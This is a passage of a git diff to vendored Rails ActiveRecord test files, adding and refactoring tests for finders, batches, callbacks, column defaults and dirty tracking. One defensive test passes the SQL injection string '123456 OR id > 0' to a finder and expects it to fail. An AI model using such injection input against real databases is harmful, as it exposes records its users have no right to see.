     assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
   end
 
   def test_record_not_found_exception
-    assert_raises(ActiveRecord::RecordNotFound) { topicReloaded = Topic.find(99999) }
+    assert_raise(ActiveRecord::RecordNotFound) { topicReloaded = Topic.find(99999) }
   end
 
   def test_initialize_with_attributes
@@ -638,6 +641,13 @@ class BasicsTest < ActiveRecord::TestCase
     category.reload
     assert_not_nil category.categorizations_count
     assert_equal 4, category.categorizations_count
+
+    category_2 = categories(:technology)
+    count_1, count_2 = (category.categorizations_count || 0), (category_2.categorizations_count || 0)
+    Category.update_counters([category.id, category_2.id], "categorizations_count" => 2)
+    category.reload; category_2.reload
+    assert_equal count_1 + 2, category.categorizations_count
+    assert_equal count_2 + 2, category_2.categorizations_count
   end
 
   def test_update_all
@@ -840,7 +850,7 @@ class BasicsTest < ActiveRecord::TestCase
     client.delete
     assert client.frozen?
     assert_kind_of Firm, client.firm
-    assert_raises(ActiveSupport::FrozenObjectError) { client.name = "something else" }
+    assert_raise(ActiveSupport::FrozenObjectError) { client.name = "something else" }
   end
 
   def test_destroy_new_record
@@ -854,7 +864,7 @@ class BasicsTest < ActiveRecord::TestCase
     client.destroy
     assert client.frozen?
     assert_kind_of Firm, client.firm
-    assert_raises(ActiveSupport::FrozenObjectError) { client.name = "something else" }
+    assert_raise(ActiveSupport::FrozenObjectError) { client.name = "something else" }
   end
 
   def test_update_attribute
@@ -902,8 +912,8 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_mass_assignment_should_raise_exception_if_accessible_and_protected_attribute_writers_are_both_used
     topic = TopicWithProtectedContentAndAccessibleAuthorName.new
-    assert_raises(RuntimeError) { topic.attributes = { "author_name" => "me" } }
-    assert_raises(RuntimeError) { topic.attributes = { "content" => "stuff" } }
+    assert_raise(RuntimeError) { topic.attributes = { "author_name" => "me" } }
+    assert_raise(RuntimeError) { topic.attributes = { "content" => "stuff" } }
   end
 
   def test_mass_assignment_protection
@@ -941,7 +951,7 @@ class BasicsTest < ActiveRecord::TestCase
   def test_mass_assigning_invalid_attribute
     firm = Firm.new
 
-    assert_raises(ActiveRecord::UnknownAttributeError) do
+    assert_raise(ActiveRecord::UnknownAttributeError) do
       firm.attributes = { "id" => 5, "type" => "Client", "i_dont_even_exist" => 20 }
     end
   end
@@ -1004,7 +1014,25 @@ class BasicsTest < ActiveRecord::TestCase
     assert_date_from_db Date.new(2004, 6, 24), topic.last_read.to_date
   end
 
-  def test_multiparameter_attributes_on_date_with_empty_date
+  def test_multiparameter_attributes_on_date_with_empty_year
+    attributes = { "last_read(1i)" => "", "last_read(2i)" => "6", "last_read(3i)" => "24" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    # note that extra #to_date call allows test to pass for Oracle, which
+    # treats dates/times the same
+    assert_date_from_db Date.new(1, 6, 24), topic.last_read.to_date
+  end
+
+  def test_multiparameter_attributes_on_date_with_empty_month
+    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "", "last_read(3i)" => "24" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    # note that extra #to_date call allows test to pass for Oracle, which
+    # treats dates/times the same
+    assert_date_from_db Date.new(2004, 1, 24), topic.last_read.to_date
+  end
+
+  def test_multiparameter_attributes_on_date_with_empty_day
     attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "" }
     topic = Topic.find(1)
     topic.attributes = attributes
@@ -1013,6 +1041,33 @@ class BasicsTest < ActiveRecord::TestCase
     assert_date_from_db Date.new(2004, 6, 1), topic.last_read.to_date
   end
 
+  def test_multiparameter_attributes_on_date_with_empty_day_and_year
+    attributes = { "last_read(1i)" => "", "last_read(2i)" => "6", "last_read(3i)" => "" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    # note that extra #to_date call allows test to pass for Oracle, which
+    # treats dates/times the same
+    assert_date_from_db Date.new(1, 6, 1), topic.last_read.to_date
+  end
+
+  def test_multiparameter_attributes_on_date_with_empty_day_and_month
+    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "", "last_read(3i)" => "" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    # note that extra #to_date call allows test to pass for Oracle, which
+    # treats dates/times the same
+    assert_date_from_db Date.new(2004, 1, 1), topic.last_read.to_date
+  end
+
+  def test_multiparameter_attributes_on_date_with_empty_year_and_month
+    attributes = { "last_read(1i)" => "", "last_read(2i)" => "", "last_read(3i)" => "24" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    # note that extra #to_date call allows test to pass for Oracle, which
+    # treats dates/times the same
+    assert_date_from_db Date.new(1, 1, 24), topic.last_read.to_date
+  end
+
   def test_multiparameter_attributes_on_date_with_all_empty
     attributes = { "last_read(1i)" => "", "last_read(2i)" => "", "last_read(3i)" => "" }
     topic = Topic.find(1)
@@ -1107,7 +1162,7 @@ class BasicsTest < ActiveRecord::TestCase
     Time.zone = nil
     Topic.skip_time_zone_conversion_for_attributes = []
   end
-  
+
   def test_multiparameter_attributes_on_time_only_column_with_time_zone_aware_attributes_does_not_do_time_zone_conversion
     ActiveRecord::Base.time_zone_aware_attributes = true
     ActiveRecord::Base.default_timezone = :utc
@@ -1197,6 +1252,11 @@ class BasicsTest < ActiveRecord::TestCase
     assert b_true.value?
   end
 
+  def test_new_record_returns_boolean
+    assert_equal Topic.new.new_record?, true
+    assert_equal Topic.find(1).new_record?, false
+  end
+
   def test_clone
     topic = Topic.find(1)
     cloned_topic = nil
@@ -1389,7 +1449,7 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_sql_injection_via_find
-    assert_raises(ActiveRecord::RecordNotFound, ActiveRecord::StatementInvalid) do
+    assert_raise(ActiveRecord::RecordNotFound, ActiveRecord::StatementInvalid) do
       Topic.find("123456 OR id > 0")
     end
   end
@@ -1426,7 +1486,7 @@ class BasicsTest < ActiveRecord::TestCase
     topic = Topic.create("content" => myobj).reload
     assert_equal(myobj, topic.content)
   end
-  
+
   def test_serialized_string_attribute
     myobj = "Yes"
     topic = Topic.create("content" => myobj).reload
@@ -1742,6 +1802,13 @@ class BasicsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_scoped_find_with_group_and_having
+    developers = Developer.with_scope(:find => { :group => 'developers.salary', :having => "SUM(salary) > 10000", :select => "SUM(salary) as salary" }) do
+      Developer.find(:all)
+    end
+    assert_equal 3, developers.size
+  end
+
   def test_find_last
     last  = Developer.find :last
     assert_equal last, Developer.find(:first, :order => 'id desc')
@@ -1770,6 +1837,11 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal last, Developer.find(:all, :order => 'developers.name, developers.salary DESC').last
   end
 
+  def test_find_symbol_ordered_last
+    last  = Developer.find :last, :order => :salary
+    assert_equal last, Developer.find(:all, :order => :salary).last
+  end
+
   def test_find_scoped_ordered_last
     last_developer = Developer.with_scope(:find => { :order => 'developers.salary ASC' }) do
       Developer.find(:last)
@@ -1989,7 +2061,7 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_inspect_instance
     topic = topics(:first)
-    assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", approved: false, replies_count: 1, parent_id: nil, type: nil>), topic.inspect
+    assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", approved: false, replies_count: 1, parent_id: nil, parent_title: nil, type: nil>), topic.inspect
   end
 
   def test_inspect_new_instance
@@ -2071,17 +2143,12 @@ class BasicsTest < ActiveRecord::TestCase
     ActiveRecord::Base.logger = original_logger
   end
 
-  private
-    def with_kcode(kcode)
-      if RUBY_VERSION < '1.9'
-        orig_kcode, $KCODE = $KCODE, kcode
-        begin
-          yield
-        ensure
-          $KCODE = orig_kcode
-        end
-      else
-        yield
-      end
+  def test_create_with_custom_timestamps
+    custom_datetime = 1.hour.ago.beginning_of_day
+
+    %w(created_at created_on updated_at updated_on).each do |attribute|
+      parrot = LiveParrot.create(:name => "colombian", attribute => custom_datetime)
+      assert_equal custom_datetime, parrot[attribute]
     end
+  end
 end
diff --git a/vendor/rails/activerecord/test/cases/batches_test.rb b/vendor/rails/activerecord/test/cases/batches_test.rb
new file mode 100644
index 00000000..5009a908
--- /dev/null
+++ b/vendor/rails/activerecord/test/cases/batches_test.rb
@@ -0,0 +1,61 @@
+require 'cases/helper'
+require 'models/post'
+
+class EachTest < ActiveRecord::TestCase
+  fixtures :posts
+
+  def setup
+    @posts = Post.all(:order => "id asc")
+    @total = Post.count
+  end
+  
+  def test_each_should_excecute_one_query_per_batch
+    assert_queries(Post.count + 1) do
+      Post.find_each(:batch_size => 1) do |post|
+        assert_kind_of Post, post
+      end
+    end
+  end
+
+  def test_each_should_raise_if_the_order_is_set
+    assert_raise(RuntimeError) do
+      Post.find_each(:order => "title") { |post| post }
+    end
+  end
+
+  def test_each_should_raise_if_the_limit_is_set
+    assert_raise(RuntimeError) do
+      Post.find_each(:limit => 1) { |post| post }
+    end
+  end
+  
+  def test_find_in_batches_should_return_batches
+    assert_queries(Post.count + 1) do
+      Post.find_in_batches(:batch_size => 1) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Post, batch.first
+      end
+    end
+  end
+
+  def test_find_in_batches_should_start_from_the_start_option
+    assert_queries(Post.count) do
+      Post.find_in_batches(:batch_size => 1, :start => 2) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Post, batch.first
+      end
+    end
+  end
+
+  def test_find_in_batches_shouldnt_excute_query_unless_needed
+    post_count = Post.count
+
+    assert_queries(2) do
+      Post.find_in_batches(:batch_size => post_count) {|batch| assert_kind_of Array, batch }
+    end
+
+    assert_queries(1) do
+      Post.find_in_batches(:batch_size => post_count + 1) {|batch| assert_kind_of Array, batch }
+    end
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/cases/calculations_test.rb b/vendor/rails/activerecord/test/cases/calculations_test.rb
index 8bd0dd0f..f4280524 100644
--- a/vendor/rails/activerecord/test/cases/calculations_test.rb
+++ b/vendor/rails/activerecord/test/cases/calculations_test.rb
@@ -2,6 +2,11 @@ require "cases/helper"
 require 'models/company'
 require 'models/topic'
 require 'models/edge'
+require 'models/owner'
+require 'models/pet'
+require 'models/toy'
+require 'models/club'
+require 'models/organization'
 
 Company.has_many :accounts
 
@@ -10,7 +15,7 @@ class NumericData < ActiveRecord::Base
 end
 
 class CalculationsTest < ActiveRecord::TestCase
-  fixtures :companies, :accounts, :topics
+  fixtures :companies, :accounts, :topics, :owners, :pets, :toys
 
   def test_should_sum_field
     assert_equal 318, Account.sum(:credit_limit)
@@ -92,6 +97,14 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_equal 60,  c[2]
   end
 
+  def test_should_group_by_summed_field_having_sanitized_condition
+    c = Account.sum(:credit_limit, :group => :firm_id,
+                                   :having => ['sum(credit_limit) > ?', 50])
+    assert_nil        c[1]
+    assert_equal 105, c[6]
+    assert_equal 60,  c[2]
+  end
+
   def test_should_group_by_summed_association
     c = Account.sum(:credit_limit, :group => :firm)
     assert_equal 50,   c[companies(:first_firm)]
@@ -156,24 +169,23 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_equal 1, c[companies(:first_client)]
   end
 
-  uses_mocha 'group_by_non_numeric_foreign_key_association' do
-    def test_should_group_by_association_with_non_numeric_foreign_key
-      ActiveRecord::Base.connection.expects(:select_all).returns([{"count_all" => 1, "firm_id" => "ABC"}])
+  def test_should_group_by_association_with_non_numeric_foreign_key
+    ActiveRecord::Base.connection.expects(:select_all).returns([{"count_all" => 1, "firm_id" => "ABC"}])
 
-      firm = mock()
-      firm.expects(:id).returns("ABC")
-      firm.expects(:class).returns(Firm)
-      Company.expects(:find).with(["ABC"]).returns([firm])
+    firm = mock()
+    firm.expects(:id).returns("ABC")
+    firm.expects(:class).returns(Firm)
+    Company.expects(:find).with(["ABC"]).returns([firm])
 
-      column = mock()
-      column.expects(:name).at_least_once.returns(:firm_id)
-      column.expects(:type_cast).with("ABC").returns("ABC")
-      Account.expects(:columns).at_least_once.returns([column])
+    column = mock()
+    column.expects(:name).at_least_once.returns(:firm_id)
+    column.expects(:type_cast).with("ABC").returns("ABC")
+    Account.expects(:columns).at_least_once.returns([column])
 
-      c = Account.count(:all, :group => :firm)
-      assert_equal Firm, c.first.first.class
-      assert_equal 1, c.first.last
-    end
+    c = Account.count(:all, :group => :firm)
+    first_key = c.keys.first
+    assert_equal Firm, first_key.class
+    assert_equal 1, c[first_key]
   end
 
   def test_should_calculate_grouped_association_with_foreign_key_option
@@ -216,6 +228,10 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_equal 15, companies(:rails_core).companies.sum(:id)
   end
 
+  def test_should_sum_scoped_field_with_from
+    assert_equal Club.count, Organization.clubs.count
+  end
+
   def test_should_sum_scoped_field_with_conditions
     assert_equal 8,  companies(:rails_core).companies.sum(:id, :conditions => 'id > 7')
   end
@@ -248,8 +264,8 @@ class CalculationsTest < ActiveRecord::TestCase
       Company.send(:validate_calculation_options, :count, :include => true)
     end
 
-    assert_raises(ArgumentError) { Company.send(:validate_calculation_options, :sum,   :foo => :bar) }
-    assert_raises(ArgumentError) { Company.send(:validate_calculation_options, :count, :foo => :bar) }
+    assert_raise(ArgumentError) { Company.send(:validate_calculation_options, :sum,   :foo => :bar) }
+    assert_raise(ArgumentError) { Company.send(:validate_calculation_options, :count, :foo => :bar) }
   end
 
   def test_should_count_selected_field_with_include
@@ -277,6 +293,10 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_raise(ArgumentError) { Account.count(1, 2, 3) }
   end
 
+  def test_count_with_scoped_has_many_through_association
+    assert_equal 1, owners(:blackbeard).toys.with_name('Bone').count
+  end
+
   def test_should_sum_expression
     assert_equal '636', Account.sum("2 * credit_limit")
   end
diff --git a/vendor/rails/activerecord/test/cases/callbacks_test.rb b/vendor/rails/activerecord/test/cases/callbacks_test.rb
index 11830a2e..95fddaee 100644
--- a/vendor/rails/activerecord/test/cases/callbacks_test.rb
+++ b/vendor/rails/activerecord/test/cases/callbacks_test.rb
@@ -121,9 +121,19 @@ end
 
 class CallbackCancellationDeveloper < ActiveRecord::Base
   set_table_name 'developers'
-  def before_create
-    false
-  end
+
+  attr_reader   :after_save_called, :after_create_called, :after_update_called, :after_destroy_called
+  attr_accessor :cancel_before_save, :cancel_before_create, :cancel_before_update, :cancel_before_destroy
+
+  def before_save;    !@cancel_before_save;    end
+  def before_create;  !@cancel_before_create;  end
+  def before_update;  !@cancel_before_update;  end
+  def before_destroy; !@cancel_before_destroy; end
+
+  def after_save;      @after_save_called    = true; end
+  def after_update;    @after_update_called  = true; end
+  def after_create;    @after_create_called  = true; end
+  def after_destroy;   @after_destroy_called = true; end
 end
 
 class CallbacksTest < ActiveRecord::TestCase
@@ -342,27 +352,55 @@ class CallbacksTest < ActiveRecord::TestCase
     david = ImmutableDeveloper.find(1)
     assert david.valid?
     assert !david.save
-    assert_raises(ActiveRecord::RecordNotSaved) { david.save! }
+    assert_raise(ActiveRecord::RecordNotSaved) { david.save! }
 
     david = ImmutableDeveloper.find(1)
     david.salary = 10_000_000
     assert !david.valid?
     assert !david.save
-    assert_raises(ActiveRecord::RecordInvalid) { david.save! }
+    assert_raise(ActiveRecord::RecordInvalid) { david.save! }
+
+    someone = CallbackCancellationDeveloper.find(1)
+    someone.cancel_before_save = true
+    assert someone.valid?
+    assert !someone.save
+    assert_save_callbacks_not_called(someone)
   end
 
   def test_before_create_returning_false
     someone = CallbackCancellationDeveloper.new
+    someone.cancel_before_create = true
     assert someone.valid?
     assert !someone.save
+    assert_save_callbacks_not_called(someone)
+  end
+
+  def test_before_update_returning_false
+    someone = CallbackCancellationDeveloper.find(1)
+    someone.cancel_before_update = true
+    assert someone.valid?
+    assert !someone.save
+    assert_save_callbacks_not_called(someone)
   end
 
   def test_before_destroy_returning_false
     david = ImmutableDeveloper.find(1)
     assert !david.destroy
     assert_not_nil ImmutableDeveloper.find_by_id(1)
+
+    someone = CallbackCancellationDeveloper.find(1)
+    someone.cancel_before_destroy = true
+    assert !someone.destroy
+    assert !someone.after_destroy_called
   end
 
+  def assert_save_callbacks_not_called(someone)
+    assert !someone.after_save_called
+    assert !someone.after_create_called
+    assert !someone.after_update_called
+  end
+  private :assert_save_callbacks_not_called
+
   def test_zzz_callback_returning_false # must be run last since we modify CallbackDeveloper
     david = CallbackDeveloper.find(1)
     CallbackDeveloper.before_validation proc { |model| model.history << [:before_validation, :returning_false]; return false }
diff --git a/vendor/rails/activerecord/test/cases/column_definition_test.rb b/vendor/rails/activerecord/test/cases/column_definition_test.rb
index 98abc8ea..fc9a0ac9 100644
--- a/vendor/rails/activerecord/test/cases/column_definition_test.rb
+++ b/vendor/rails/activerecord/test/cases/column_definition_test.rb
@@ -33,4 +33,38 @@ class ColumnDefinitionTest < ActiveRecord::TestCase
       column.limit, column.precision, column.scale, column.default, column.null)
     assert_equal %Q{title varchar(20) DEFAULT 'Hello' NOT NULL}, column_def.to_sql
   end
+
+  if current_adapter?(:MysqlAdapter)
+    def test_should_set_default_for_mysql_binary_data_types
+      binary_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "a", "binary(1)")
+      assert_equal "a", binary_column.default
+
+      varbinary_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "a", "varbinary(1)")
+      assert_equal "a", varbinary_column.default
+    end
+
+    def test_should_not_set_default_for_blob_and_text_data_types
+      assert_raise ArgumentError do
+        ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "a", "blob")
+      end
+
+      assert_raise ArgumentError do
+        ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "Hello", "text")
+      end
+
+      text_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "text")
+      assert_equal nil, text_column.default
+
+      not_null_text_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "text", false)
+      assert_equal "", not_null_text_column.default
+    end
+
+    def test_has_default_should_return_false_for_blog_and_test_data_types
+      blob_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "blob")
+      assert !blob_column.has_default?
+
+      text_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "text")
+      assert !text_column.has_default?
+    end
+  end
 end
diff --git a/vendor/rails/activerecord/test/cases/connection_pool_test.rb b/vendor/rails/activerecord/test/cases/connection_pool_test.rb
new file mode 100644
index 00000000..cc9b2a45
--- /dev/null
+++ b/vendor/rails/activerecord/test/cases/connection_pool_test.rb
@@ -0,0 +1,25 @@
+require "cases/helper"
+
+class ConnectionManagementTest < ActiveRecord::TestCase
+  def setup
+    @env = {}
+    @app = stub('App')
+    @management = ActiveRecord::ConnectionAdapters::ConnectionManagement.new(@app)
+    
+    @connections_cleared = false
+    ActiveRecord::Base.stubs(:clear_active_connections!).with { @connections_cleared = true }
+  end
+  
+  test "clears active connections after each call" do
+    @app.expects(:call).with(@env)
+    @management.call(@env)
+    assert @connections_cleared
+  end
+  
+  test "doesn't clear active connections when running in a test case" do
+    @env['rack.test'] = true
+    @app.expects(:call).with(@env)
+    @management.call(@env)
+    assert !@connections_cleared
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/cases/connection_test_mysql.rb b/vendor/rails/activerecord/test/cases/connection_test_mysql.rb
index 40ddcf54..8e4842a1 100644
--- a/vendor/rails/activerecord/test/cases/connection_test_mysql.rb
+++ b/vendor/rails/activerecord/test/cases/connection_test_mysql.rb
@@ -2,9 +2,24 @@ require "cases/helper"
 
 class MysqlConnectionTest < ActiveRecord::TestCase
   def setup
+    super
     @connection = ActiveRecord::Base.connection
   end
 
+  def test_mysql_reconnect_attribute_after_connection_with_reconnect_true
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge({:reconnect => true}))
+      assert ActiveRecord::Base.connection.raw_connection.reconnect
+    end
+  end
+
+  def test_mysql_reconnect_attribute_after_connection_with_reconnect_false
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge({:reconnect => false}))
+      assert !ActiveRecord::Base.connection.raw_connection.reconnect
+    end
+  end
+
   def test_no_automatic_reconnection_after_timeout
     assert @connection.active?
     @connection.update('set @@wait_timeout=1')
@@ -26,5 +41,24 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     sleep 2
     @connection.verify!
     assert @connection.active?
+ end
+
+  # Test that MySQL allows multiple results for stored procedures
+  if Mysql.const_defined?(:CLIENT_MULTI_RESULTS)
+    def test_multi_results
+      rows = ActiveRecord::Base.connection.select_rows('CALL ten();')
+      assert_equal 10, rows[0][0].to_i, "ten() did not return 10 as expected: #{rows.inspect}"
+    end
+  end
+
+  private
+
+  def run_without_connection
+    original_connection = ActiveRecord::Base.remove_connection
+    begin
+      yield original_connection
+    ensure
+      ActiveRecord::Base.establish_connection(original_connection)
+    end
   end
 end
diff --git a/vendor/rails/activerecord/test/cases/copy_table_test_sqlite.rb b/vendor/rails/activerecord/test/cases/copy_table_test_sqlite.rb
index f0cfb678..de8af309 100644
--- a/vendor/rails/activerecord/test/cases/copy_table_test_sqlite.rb
+++ b/vendor/rails/activerecord/test/cases/copy_table_test_sqlite.rb
@@ -10,7 +10,7 @@ class CopyTableTest < ActiveRecord::TestCase
     end
   end
 
-  def test_copy_table(from = 'companies', to = 'companies2', options = {})
+  def test_copy_table(from = 'customers', to = 'customers2', options = {})
     assert_nothing_raised {copy_table(from, to, options)}
     assert_equal row_count(from), row_count(to)
 
@@ -24,11 +24,11 @@ class CopyTableTest < ActiveRecord::TestCase
   end
 
   def test_copy_table_renaming_column
-    test_copy_table('companies', 'companies2',
-        :rename => {'client_of' => 'fan_of'}) do |from, to, options|
-      expected = column_values(from, 'client_of')
+    test_copy_table('customers', 'customers2',
+        :rename => {'name' => 'person_name'}) do |from, to, options|
+      expected = column_values(from, 'name')
       assert expected.any?, 'only nils in resultset; real values are needed'
-      assert_equal expected, column_values(to, 'fan_of')
+      assert_equal expected, column_values(to, 'person_name')
     end
   end
 
@@ -46,6 +46,17 @@ class CopyTableTest < ActiveRecord::TestCase
     test_copy_table('developers_projects', 'programmers_projects')
   end
 
+  def test_copy_table_with_id_col_that_is_not_primary_key
+    test_copy_table('goofy_string_id', 'goofy_string_id2') do |from, to, options|
+      original_id = @connection.columns('goofy_string_id').detect{|col| col.name == 'id' }
+      copied_id = @connection.columns('goofy_string_id2').detect{|col| col.name == 'id' }
+      assert_equal original_id.type, copied_id.type
+      assert_equal original_id.sql_type, copied_id.sql_type
+      assert_equal original_id.limit, copied_id.limit
+      assert_equal original_id.primary, copied_id.primary
+    end
+  end
+
 protected
   def copy_table(from, to, options = {})
     @connection.copy_table(from, to, {:temporary => true}.merge(options))
diff --git a/vendor/rails/activerecord/test/cases/datatype_test_postgresql.rb b/vendor/rails/activerecord/test/cases/datatype_test_postgresql.rb
index bff092b5..88fb6f73 100644
--- a/vendor/rails/activerecord/test/cases/datatype_test_postgresql.rb
+++ b/vendor/rails/activerecord/test/cases/datatype_test_postgresql.rb
@@ -26,6 +26,7 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
 
   def setup
     @connection = ActiveRecord::Base.connection
+    @connection.execute("set lc_monetary = 'C'")
 
     @connection.execute("INSERT INTO postgresql_arrays (commission_by_quarter, nicknames) VALUES ( '{35000,21000,18000,17000}', '{foo,bar,baz}' )")
     @first_array = PostgresqlArray.find(1)
diff --git a/vendor/rails/activerecord/test/cases/defaults_test.rb b/vendor/rails/activerecord/test/cases/defaults_test.rb
index 38e4853d..b4032c23 100644
--- a/vendor/rails/activerecord/test/cases/defaults_test.rb
+++ b/vendor/rails/activerecord/test/cases/defaults_test.rb
@@ -18,11 +18,43 @@ class DefaultTest < ActiveRecord::TestCase
     end
   end
 
-  if current_adapter?(:MysqlAdapter)
+  if current_adapter?(:PostgreSQLAdapter, :FirebirdAdapter, :OpenBaseAdapter, :OracleAdapter)
+    def test_default_integers
+      default = Default.new
+      assert_instance_of Fixnum, default.positive_integer
+      assert_equal 1, default.positive_integer
+      assert_instance_of Fixnum, default.negative_integer
+      assert_equal -1, default.negative_integer
+      assert_instance_of BigDecimal, default.decimal_number
+      assert_equal BigDecimal.new("2.78"), default.decimal_number
+    end
+  end
+  
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_multiline_default_text
+      # older postgres versions represent the default with escapes ("\\012" for a newline)
+      assert ( "--- []\n\n" == Default.columns_hash['multiline_default'].default ||
+               "--- []\\012\\012" == Default.columns_hash['multiline_default'].default)
+    end
+  end
+end
 
-    #MySQL 5 and higher is quirky with not null text/blob columns.
-    #With MySQL Text/blob columns cannot have defaults. If the column is not null MySQL will report that the column has a null default
-    #but it behaves as though the column had a default of ''
+if current_adapter?(:MysqlAdapter)
+  class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase
+    # ActiveRecord::Base#create! (and #save and other related methods) will
+    # open a new transaction. When in transactional fixtures mode, this will
+    # cause ActiveRecord to create a new savepoint. However, since MySQL doesn't
+    # support DDL transactions, creating a table will result in any created
+    # savepoints to be automatically released. This in turn causes the savepoint
+    # release code in AbstractAdapter#transaction to fail.
+    #
+    # We don't want that to happen, so we disable transactional fixtures here.
+    self.use_transactional_fixtures = false
+    
+    # MySQL 5 and higher is quirky with not null text/blob columns.
+    # With MySQL Text/blob columns cannot have defaults. If the column is not
+    # null MySQL will report that the column has a null default
+    # but it behaves as though the column had a default of ''
     def test_mysql_text_not_null_defaults
       klass = Class.new(ActiveRecord::Base)
       klass.table_name = 'test_mysql_text_not_null_defaults'
@@ -48,8 +80,7 @@ class DefaultTest < ActiveRecord::TestCase
     ensure
       klass.connection.drop_table(klass.table_name) rescue nil
     end
-
-
+    
     # MySQL uses an implicit default 0 rather than NULL unless in strict mode.
     # We use an implicit NULL so schema.rb is compatible with other databases.
     def test_mysql_integer_not_null_defaults
@@ -77,24 +108,4 @@ class DefaultTest < ActiveRecord::TestCase
       klass.connection.drop_table(klass.table_name) rescue nil
     end
   end
-
-  if current_adapter?(:PostgreSQLAdapter, :FirebirdAdapter, :OpenBaseAdapter, :OracleAdapter)
-    def test_default_integers
-      default = Default.new
-      assert_instance_of Fixnum, default.positive_integer
-      assert_equal 1, default.positive_integer
-      assert_instance_of Fixnum, default.negative_integer
-      assert_equal -1, default.negative_integer
-      assert_instance_of BigDecimal, default.decimal_number
-      assert_equal BigDecimal.new("2.78"), default.decimal_number
-    end
-  end
-
-  if current_adapter?(:PostgreSQLAdapter)
-    def test_multiline_default_text
-      # older postgres versions represent the default with escapes ("\\012" for a newline)
-      assert ( "--- []\n\n" == Default.columns_hash['multiline_default'].default ||
-               "--- []\\012\\012" == Default.columns_hash['multiline_default'].default)
-    end
-  end
 end
diff --git a/vendor/rails/activerecord/test/cases/dirty_test.rb b/vendor/rails/activerecord/test/cases/dirty_test.rb
index 39d38c4e..fb3d26f6 100644
--- a/vendor/rails/activerecord/test/cases/dirty_test.rb
+++ b/vendor/rails/activerecord/test/cases/dirty_test.rb
@@ -21,6 +21,10 @@ private
   end
 end
 
+class NumericData < ActiveRecord::Base
+  self.table_name = 'numeric_data'
+end
+
 class DirtyTest < ActiveRecord::TestCase
   def test_attribute_changes
     # New record - no changes.
@@ -58,7 +62,7 @@ class DirtyTest < ActiveRecord::TestCase
     assert_equal parrot.name_change, parrot.title_change
   end
 
-  def test_nullable_integer_not_marked_as_changed_if_new_value_is_blank
+  def test_nullable_number_not_marked_as_changed_if_new_value_is_blank
     pirate = Pirate.new
 
     ["", nil].each do |value|
@@ -68,6 +72,38 @@ class DirtyTest < ActiveRecord::TestCase
     end
   end
 
+  def test_nullable_decimal_not_marked_as_changed_if_new_value_is_blank
+    numeric_data = NumericData.new
+
+    ["", nil].each do |value|
+      numeric_data.bank_balance = value
+      assert !numeric_data.bank_balance_changed?
+      assert_nil numeric_data.bank_balance_change
+    end
+  end
+
+  def test_nullable_float_not_marked_as_changed_if_new_value_is_blank
+    numeric_data = NumericData.new
+
+    ["", nil].each do |value|
+      numeric_data.temperature = value
+      assert !numeric_data.temperature_changed?
+      assert_nil numeric_data.temperature_change
+    end
+  end
+
+  def test_nullable_integer_zero_to_string_zero_not_marked_as_changed
+    pirate = Pirate.new
+    pirate.parrot_id = 0
+    pirate.catchphrase = 'arrr'
+    assert pirate.save!
+
+    assert !pirate.changed?
+
+    pirate.parrot_id = '0'
+    assert !pirate.changed?
+  end
+
   def test_zero_to_blank_marked_as_changed
     pirate = Pirate.new
     pirate.catchphrase = "Yarrrr, me hearties"
@@ -130,7 +166,7 @@ class DirtyTest < ActiveRecord::TestCase
 
   def test_association_assignment_changes_foreign_key
     pirate = Pirate.create!(:catchphrase => 'jarl')
-    pirate.parrot = Parrot.create!
+    pirate.parrot = Parrot.create!(:name => 'Lorre')
     assert pirate.changed?
     assert_equal %w(parrot_id), pirate.changed
   end
@@ -192,7 +228,7 @@ class DirtyTest < ActiveRecord::TestCase
 
     pirate = Pirate.new
     pirate.parrot_id = 1
-    assert_raises(ActiveRecord::RecordInvalid) { pirate.save! }
+    assert_raise(ActiveRecord::RecordInvalid) { pirate.save! }
     check_pirate_after_save_failure(pirate)
   end
 
@@ -252,6 +288,16 @@ class DirtyTest < ActiveRecord::TestCase
     end
   end
 
+  def test_save_should_not_save_serialized_attribute_with_partial_updates_if_not_present
+    with_partial_updates(Topic) do
